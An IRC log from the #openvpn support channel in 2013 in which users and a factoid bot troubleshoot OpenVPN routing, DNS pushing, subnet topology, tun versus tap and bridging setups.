23:41 <+pekster> There's probably a way to make this more clever so it'll auto-detect Linux vs non-Linux (so you can put this in all your .profile on all systems), but this tends to help train people who have had heads in sand the last 5 years or so:
23:41 <+pekster> alias ifconfig='echo "You tried to use an outdated net-tools command" && echo "You probably wanted to use the iproute2 'ip' command instead" && echo "If you _really_ want the old/busted stuff, try /bin/ifconfig" && return 255'
23:41 < Eugene> Heh
23:41 <+pekster> Has the lovely effect of not breaking for scripts that don't source .profile either
23:47 < Corey> Eugene: You keep turning up in interesting places.
23:48 < Eugene> Pretty sure I was here first
23:49 < Corey> Most likely. :-)
23:50 < Corey> pekster: What irritates me is that ifconfig exists on OS X, the iproute suite does not.
23:50 < Eugene> Welcome to Apple; bend over.
23:50 <+pekster> That's becuase BSDs actually kept their ifconfig binary up to date
23:50 < Corey> So while I've trained myself to "ip a", it blows up and I curse on OS X.
23:50 < Eugene> alias ip='echo "You are an idiot. This is a Mac."'
23:50 <+pekster> Add in an `ip` binary that translates commands to ifconfig syntax, or just warns you that you're not in Kansas^H^H^H^H^H^HLinux anymore
23:51 <+pekster> I don't "hate ifconfig", but I do "strongly discourage people from using it under Linux where it's been replaced in during the 2.4 kernel days." We're up to what, 3.11 now and people _still_ have never heard of ip/ss?
23:53 <+pekster> If Linux had kept the tools up to date with the new ioctls we wouldn't have had a need for a new tool, but since no one has stepped up and done that, it dies as slow of a death as IPv4
--- Day changed Sun Sep 01 2013
00:05 -!- Valcorb_ [Batman@d54C68BC0.access.telenet.be] has joined #openvpn
00:05 < Valcorb_> Hey.
00:06 < Valcorb_> I have an issue with my openvpn server.
00:06 < Valcorb_> It's running on Debian 6
00:06 < Valcorb_> I can connect to it, but that's it
00:06 < Valcorb_> i cant ping anything
00:06 < Valcorb_> and i cant access any website
00:06 < Valcorb_> client config:
00:06 < Valcorb_> http://paste2.org/F5EEsFkD
00:07 < Valcorb_> server config:
00:07 < Valcorb_> http://paste2.org/KsmxgtcO
00:07 < Valcorb_> Would love it if someone could help me.
00:07 < Valcorb_> !logs
00:07 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
00:09 < Valcorb_> client log:
00:09 < Valcorb_> http://paste2.org/kVC933zI
00:21 <+pekster> Valcorb_: Looks fine. Have you seen/followed:
00:21 <+pekster> !redirect
00:21 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
00:21 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
00:22 <+pekster> You probably have a routing/firewall issue, or possibly a DNS issue if your client still has the original DNS servers left-over and they refuse queries from the "new location" your VPN puts you in
00:22 <+pekster> The latter wouldn't stop you from doing a diagnostic ping by IP though
00:34 < Valcorb_> hmm
00:35 < Valcorb_> i'll check tomorrow, im a bit tired at the moment since its 7:35 am here
00:35 < Valcorb_> but thanks
00:39 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:40 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has joined #openvpn
01:14 -!- levifig [~levifig@spwn.co] has joined #openvpn
01:28 -!- kyrix [~ashley@chello084112114196.33.11.vie.surfer.at] has quit [Ping timeout: 240 seconds]
01:57 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:19 -!- blal2 [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
02:38 -!- caelian [~caelian@ovh.caelian.net] has quit [Quit: WeeChat 0.4.1]
02:46 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
02:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:56 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has joined #openvpn
03:15 -!- nohitall [~nohitall@unaffiliated/nohitall] has joined #openvpn
03:15 < nohitall> hello folks
03:15 < nohitall> I just installed openvpn and when I try to build ca I get ./easy-rsa/build-ca: /etc/openvpn/pkitool: not found
03:18 < nohitall> google was not very helpful so far
03:22 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
03:27 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:44 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has joined #openvpn
03:51 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
03:55 -!- caelian [~caelian@ovh.caelian.net] has quit [Quit: WeeChat 0.4.1]
03:56 -!- caelian [~caelian@ovh.caelian.net] has joined #openvpn
04:01 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
04:02 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
04:02 -!- mode/#openvpn [+v s7r] by ChanServ
04:04 -!- JackWinter1 [~jack@vodsl-9812.vo.lu] has left #openvpn ["Konversation terminated!"]
04:20 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
04:33 -!- novaflash_away is now known as novaflash
04:35 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:37 -!- jgeboski- [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
04:44 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has joined #openvpn
04:50 < IamTrying> I have some questions for OpenVPN Access server. Suppose i purchase 10 license and i want to resell it how can i ?
04:51 -!- nohitall [~nohitall@unaffiliated/nohitall] has left #openvpn []
04:51 < IamTrying> I give my solution to 10 of my customers, who will buy 100 license, but i will make profit on each license on top of OpenVPN Access license  cost price.
05:05 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
05:13 -!- trumee [~parul@93.186.147.20] has quit [Read error: No route to host]
05:13 -!- trumee [~parul@93.186.147.20] has joined #openvpn
05:33 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
05:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
06:06 -!- ade_b [~Ade@p5DE8EC75.dip0.t-ipconnect.de] has joined #openvpn
06:06 -!- ade_b [~Ade@p5DE8EC75.dip0.t-ipconnect.de] has quit [Changing host]
06:06 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:24 < blal2> IamTrying go to #openvpn-as
07:37 < Valcorb_> !nat
07:37 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
07:38 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has joined #openvpn
07:38 < Azrael_-> hi
07:42 < Valcorb_> !dns
07:42 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
07:42 < Valcorb_> !pushdns
07:42 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
07:42 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
07:43 < Azrael_-> sometimes the connection fails. i can verify this by using ping. the openvpn client doesn't show any disconnect/reconnect. after 1 minute the ping works again just fine. openvpn-server is running on windows xp, client on windows 7 x64. any idea why or how i could investigate it further?
07:44 < Valcorb_> your server is bad?
07:44 < Azrael_-> Valcorb_: 3 other clients work just fine with a continuous ping
07:44 < Valcorb_> oh
07:45 < Valcorb_> Try posting your client / server config
07:45 < Valcorb_> and see if anything happened in the logs
07:45 < Valcorb_> (cat /var/log/daemon.log)
07:45 < Valcorb_> oh wait nvm you're on windows
07:48 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:49 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:52 < Azrael_-> ok, seems like i mixed up where to change the name
07:52 < Valcorb_> lol
07:52 < Azrael_-> thus i have now 2 clients with the same name killing each other all the time
07:52 < Valcorb_> ofcourse
07:52 < Azrael_-> i'm fairly new to openvpn, so i'm still learning
07:52 < Valcorb_> you can't have 2 clients with 1 account
07:52 < Valcorb_> hehe :)
07:52 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:52 < Valcorb_> same
07:53 < Azrael_-> with "--duplicate-cn" this should be also possible
07:54 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
07:55 < Azrael_-> the only thing which has to be different is the username, right?
07:55 < Azrael_-> "name" in the certificate
07:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:57 < Valcorb_> yea
07:57 < Valcorb_> well
07:58 < Valcorb_> nvm yea
07:58 < Valcorb_> depends on authentication
07:59 < Azrael_-> i'm using this guide: https://community.openvpn.net/openvpn/wiki/Easy_Windows_Guide
07:59 <@vpnHelper> Title: Easy_Windows_Guide – OpenVPN Community (at community.openvpn.net)
08:04 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:16 -!- mchou [~quassel@unaffiliated/mchou] has quit [Remote host closed the connection]
08:21 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has joined #openvpn
08:25 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
08:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
08:40 < ayaka> !configs
08:40 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:51 < ayaka> !logs
08:51 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:52 < ayaka> here is my config files in both sides, I can't ping 10.0.10.129 or it's peer address(10.0.10.133) in client side
08:53 < ayaka> it is the similar in server side
09:03 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:06 -!- kubbing [~kubbing@ip-78-102-124-47.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
09:06 -!- Valcorb_ [Batman@d54C68BC0.access.telenet.be] has quit []
09:10 < blal2> I finally got a connection between the server and client (the gui icon is green) but I can't seem to ping around the network
09:11 < blal2> wireshark shows communication between the client and server
09:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
09:17 < ayaka> if I don't place server in router, but in a computer behind it(using DNAT to redirect port), it works
09:17 < ayaka> I think it is my firewall problem
09:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
09:36 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Quit: Terminated with extreme prejudice - dircproxy 1.0.5]
09:37 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
09:37 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
09:37 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
09:40 < Azrael_-> is there a good linux-tool monitor a vpn-server?
09:41 < Azrael_-> +to
10:05 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
10:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:25 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
10:27 -!- Leo` [~Leo@coruscant.placeholder.fr] has joined #openvpn
10:28 < Leo`> Hello. I'm trying to set up an OpenVPN tap server, with ethernet bridging on the client-side. Is such a thing possible ?
10:28 < Leo`> I dont find many documentation about it on the web...
10:29 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has quit [Ping timeout: 264 seconds]
10:31 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has joined #openvpn
10:32 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has quit [Max SendQ exceeded]
10:33 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has joined #openvpn
10:35 -!- APTX [APTX@unaffiliated/aptx] has quit [Quit: No Ping reply in 180 seconds.]
10:35 <@krzee> Leo`, why tap?
10:35 -!- APTX [~APTX@unaffiliated/aptx] has joined #openvpn
10:36 <@krzee> whats the goal you want to achieve?
10:36 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has quit [Max SendQ exceeded]
10:37 < Leo`> i want to have physical computers connected to the eth interface of a VPN client to be on the same ethernet network than the ethernet interface of the vpn server
10:37 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has joined #openvpn
10:40 < Leo`> i connected my client to the server using tap. this works. now i'm trying to get a bridge between the client's tap0 and tap0
10:40 < Leo`> huh
10:40 < Leo`> and eth0 *
10:43 -!- p3rror [~mezgani@2001:0:53aa:64c:3c18:35be:d606:648e] has quit [Max SendQ exceeded]
10:45 <@krzee> why the same ethernet network?
10:45 <@krzee> have specific layer2 protocols you need to xmit over the vpn
10:45 <@krzee> ?
10:45 -!- p3rror [~mezgani@41.249.155.113] has joined #openvpn
10:45 < Leo`> sort of
10:45 < Azrael_-> how do you monitor who is connected to your openvpn-server?
10:46 <@krzee> Azrael_-,
10:46 <@krzee> !management
10:46 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
10:46 <@krzee> or --status
10:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
10:47 <@krzee> Leo`, well you ONLY need tap if you need layer2, and you ONLY need tap bridge if you need layer2 to the lan beyond openvpn
10:47 <@krzee> Leo`, so what is your real goal?
10:47 < Leo`> yeah, i know
10:47 <@krzee> Leo`, do you want to just reach the client lan over the vpn?
10:47 < Leo`> no
10:48 < Leo`> i want to have local machines connected with physical ethernet to my VPN client to be on the same subnet without requiring any vpn setup on them
10:48 < Leo`> by using a dhcp server on the vpn server
10:48 < Azrael_-> thanks
10:49 <@krzee> normally when people say "with physical ethernet" it comes down to a lack of understanding? i understand that may not be the case here but if you dont say what layer2 protocol you need i will have to assume it is the case
10:49 < Leo`> isn't dhcp layer 2 ?
10:49 <@krzee> lol yes but its a totally invalid reason
10:49 <@krzee> oh wait a sec i think i get it
10:50 <@krzee> are you saying you want every client lan to automagically be reached over the vpn?
10:50 < Leo`> mh
10:50 < Leo`> yes, i think so
10:50 <@krzee> that will not happen without a large amount of config on every client
10:51 < Leo`> i want my vpn client to be a "bridge" between a local LAN and the VPN
10:51 <@krzee> every client, without client side configuring
10:51 <@krzee> right?
10:51 < Leo`> local client <- ethernet -> VPN client <-> TAP <-> vpn server
10:51 < Leo`> without any configuring on the "local client"
10:52 <@krzee> ahh nevermind that was a midunderstanding of when you said "without requiring any vpn setup on them"
10:52 <@krzee> is dhcp the only layer2 protocol you need over the vpn?
10:52 <@krzee> because it is not a valid reason and if you only need layer3 traffic you are thinking about this wrong
10:53 < Leo`> I don't see how I could achieve what I said using TUN :/
10:53 <@krzee> now THAT makes sense :)
10:53 <@krzee> so first tell me, do the machines need a specific layer2 protocol over the vpn?
10:53 <@krzee> (besides your assuming they needed dhcp, which they dont)
10:54 < Leo`> why don't they ?
10:54 <@krzee> cause they dont need to be in the same subnet
10:54 <@krzee> usually people assume that from a lack of understanding how routing works
10:54 < Leo`> but I want them to be in the same subnet
10:54 <@krzee> WHY
10:54 < Leo`> I think I will also have to use some broadcast protocols
10:54 <@krzee> from not understanding or from something you are not willing to say?
10:54 <@krzee> ok well i dont help with bridges and im done trying to help you know if you need one
10:54 <@krzee> so goodluck :-p
10:55 < Leo`> xD ok
10:55 <@krzee> !route
10:55 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
10:55 <@vpnHelper> the server or client
10:55 <@krzee> thats how you do it right if you dont need layer2
10:55 <@krzee> !tunortap
10:55 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
10:55 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
10:56 <@krzee> !whybridge
10:56 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
10:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
10:59 < Azrael_-> krzee: any windows gui you could recommend to monitor a remote openvpn host using the management interface?  atm i fail to find a free one
11:00 < Leo`> i know how to write routing rules, but this time I will have to bridge I think. thx anyway krzee
11:01 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
11:02 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Ping timeout: 256 seconds]
11:05 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
11:14 -!- ayaka [~ayaka@2001:250:6801:1450:a60:6eff:fe70:368a] has left #openvpn ["离开"]
11:17 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 264 seconds]
11:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
11:34 -!- p3rror [~mezgani@41.249.155.113] has quit [Read error: Connection reset by peer]
11:36 -!- p3rror [~mezgani@41.249.97.49] has joined #openvpn
11:47 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 245 seconds]
12:00 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
12:00 -!- Leo` is now known as Oroszlan
12:03 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
12:08 < dvl> The new FreeBSD gateway is still running OpenVPN and Postfix, but dhcpd has been moved to a jail inside the network. I plan to move OpenVPN and Postfix to their own respective FreeBSD jail within the network, but that will be done one rainy weekend day.
12:36 < blal2> Hi, I've got a connection (a packet is being sent with P_DATA_V1) every 5 seconds or so, but I can't ping accross the tunnel . I've looked at the FAQ page, checked that the configs matched. If I run tcpdump and try to ping accross the network, the dump shows packlets bouncing between them, and if I try and ping across the netowrk, the srever doesn't sem to acknowledge them arriving. I can ping myself at m
12:36 < blal2> y assigned IP though
12:36 < blal2> i.e ping at 10.9.8.6 works, but not 10.9.8.0
12:40 < blal2> Firewall is off on windows client,iptables is set up correctly... I think
12:44 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 246 seconds]
12:46 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
12:51 -!- Sjors [~sgielen@foo.kassala.de] has quit [Quit: http://quassel-irc.org - Chat comfortabel. Waar dan ook.]
12:52 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
13:06 -!- TDJACR [~TDJACR@lilug/member/tdjacr] has quit [Ping timeout: 245 seconds]
13:13 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
13:13 <+pekster> blal2: 10.9.8.0 won't be a valid address on 10.9.8/24; try 10.9.8.1 instead
13:13 < dvl> I've been told, here, that if OpenVPN connects and succeeds, and you can't ping, it's a firewall issue.
13:13 <+pekster> And ideally stop using net30 topology (see !/30 and !topology)
13:13 < dvl> bugger.
13:14 < blal2> pekster I'll retry,t hanks, and dvl, firewall is disabled ont he client and iptables is configured as per the guide
13:14 < blal2> timeout on 10.9.8.1 so I'll look at the topology
13:15 < blal2> !/30
13:15 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:15 < blal2> !topology
13:15 <@vpnHelper> "topology" is (#1) it is possible to avoid the !/30 behavior if you use 2.1+ with the option: topology subnet This will end up being default in later versions. or (#2) Clients will receive addresses ending in .2, .3, .4, etc, instead of being divided into 2-host subnets. or (#3) See http://osdir.com/ml/network.openvpn.devel/2005-09/msg00020.html for more history on this.
13:18 < blal2> ha, brilliant, thanks!
13:18 < blal2> now I need to see about inet tunneling
13:18 < blal2> !welcome
13:18 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
13:18 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:18 < blal2> !redirect
13:18 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
13:18 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
13:19 < blal2> !def1
13:19 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
13:20 < blal2> so I should put  push "redirect-gateway def1" into my server.conf?
13:30 -!- roentgen [~irc@rds.psw.ro] has joined #openvpn
13:30 -!- roentgen [~irc@rds.psw.ro] has quit [Changing host]
13:30 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
13:40 -!- troj [~xxx@2001:470:1f15:107a::50f7] has quit [Ping timeout: 245 seconds]
13:43 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
13:43 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
13:54 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
13:54 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:54 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:55 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
13:58 < blal2> !dns
13:58 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
13:58 < blal2> !pushdns
13:58 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
13:58 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
13:59 -!- IamTrying [~IamTrying@d528F5C14.access.telenet.be] has left #openvpn ["Leaving"]
13:59 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
14:18 -!- p3rror [~mezgani@41.249.97.49] has quit [Remote host closed the connection]
14:37 -!- Devastatr [~devas@177.18.196.22] has joined #openvpn
14:37 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 245 seconds]
14:40 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
14:40 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 264 seconds]
14:41 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 264 seconds]
14:43 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
14:43 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
14:46 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
14:51 -!- Devastatr [~devas@177.18.196.22] has quit [Changing host]
14:51 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
14:51 -!- Devastatr is now known as Devastator
15:10 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Quit: Nettalk6 - www.ntalk.de]
15:24 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
15:27 -!- Denial [Denial@05417302.skybroadband.com] has quit []
15:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
16:08 -!- p3rror [~mezgani@41.249.97.49] has joined #openvpn
16:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:23 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
16:39 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
16:48 -!- andrusha97 [~user@46.37.165.158] has quit [Ping timeout: 264 seconds]
16:50 -!- master_o1_master [~master_of@p4FF24325.dip0.t-ipconnect.de] has joined #openvpn
16:51 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
16:54 -!- master_of_master [~master_of@p4FF2456E.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
16:57 -!- sef [~sef@pool-96-255-161-228.washdc.fios.verizon.net] has quit [Ping timeout: 276 seconds]
16:57 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
16:59 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:01 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:05 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
17:06 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
17:08 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:10 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:16 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:18 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:18 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has joined #openvpn
17:23 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
17:23 -!- gardar_ [~gardar@gardar.net] has quit [Read error: Connection reset by peer]
17:25 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has joined #openvpn
17:29 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:34 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
17:35 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has quit [Quit: WeeChat 0.3.8]
17:36 -!- tharkun [~0@187.188.94.182] has quit [Ping timeout: 245 seconds]
17:37 -!- tharkun [~0@187.188.94.182] has joined #openvpn
17:39 -!- p3rror [~mezgani@41.249.97.49] has quit [Ping timeout: 245 seconds]
17:39 -!- andrusha97 [~user@2a02:21a8:1:252::ca7f:97f8] has quit [Ping timeout: 264 seconds]
